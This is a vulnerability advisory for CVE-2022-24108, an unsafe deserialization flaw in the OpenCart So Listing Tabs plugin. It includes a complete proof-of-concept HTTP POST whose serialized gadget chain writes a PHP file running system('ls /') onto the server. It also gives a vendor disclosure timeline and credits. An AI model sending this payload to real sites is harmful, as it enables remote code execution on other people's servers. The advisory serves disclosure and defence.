OpenCart So Listing Tabs 2.2.0 Unsafe Deserialization

[-] Affected Versions:Version 2.2.0 is affected, and prior versions are likely affected too.[-] Vulnerabilities Description:Vulnerable component is switching to another tab. To exploitvulnerability, an attacker may send a POST request (withapplication/x-www-form-urlencoded content-type) to AJAX endpoint(usually "/index.php") with "is_ajax_listing_tabs" parameter set to"1" and "setting" parameter containing a PHP-serialized object,which would be deserialized at server-side. Gadget-chains based on PHPserver-side code can be used to gain remote code execution, filewrite, DOS, etc.So Listing Tabs is an Opencart plugin, so the Opencart PHP classes areavailable in webapp lifecycle. In source code of Opencart there is a PHPgadget-chain which allows to write a file to the server.Using this gadget, an attacker can write .php files with PHP code insideapp's web root and then execute it via requesting them, thus gainingremote codeexecution, which makes insecure deserialization in So Listing Tabsespecially dangerous. Ability to write files can also be used to DOS thesystem by writing large files and exhausting disk space, it can be used toperform XSS attacks by creating HTML files inside web root.Here is an example of request which will write PHP file on serverin /tmp directory:---POST /index.php HTTP/2Host: 0.0.0.0Content-Length: 3870Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://0.0.0.0/is_ajax_listing_tabs=1&ajax_reslisting_start=0&categoryid=p_date_added&setting=a%3a74%3a{s%3a6%3a"action"%3bs%3a9%3a"save_edit"%3b......s%3a2%3a"aa"%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%22%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A32%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Cache_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs%3A11%3A%22%2Ftmp%2Fff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+system%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&lbmoduleid=157---[-] Solution:No official solution is currently available.[-] Disclosure Timeline:[28/01/2022] - CVE number assigned[31/01/2022] - Vendor contacted[02/02/2022] - Vendor asked for description of vulnerability[02/02/2022] - Send report to vendor[11/02/2022] - Vendor contacted for asking about updates[11/02/2022] - Vendor answered that did not get the report[11/02/2022] - Send report again[16/02/2022] - Vendor contacted to ask about receiving the report[17/02/2022] - Automatic generated answer about overloaded system[07/04/2022] - Vendor contacted again asking for updates[15/05/2022] - Vendor contacted to notify about public disclosure[16/05/2022] - Vendor contacted to notify about public disclosure toenother email[16/05/2022] - Public disclosure[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the id CVE-2022-24108 to these vulnerabilities.[-] Credits:Vulnerability discovered by    Denis Mironov (SolidSoft LLC),    Alexey Smirnov (SolidSoft LLC),    Daniil Sigalov (SolidSoft LLC),    Dmitry Pavlov (SolidSoft LLC),    Maxim Malkov (SolidSoft LLC)
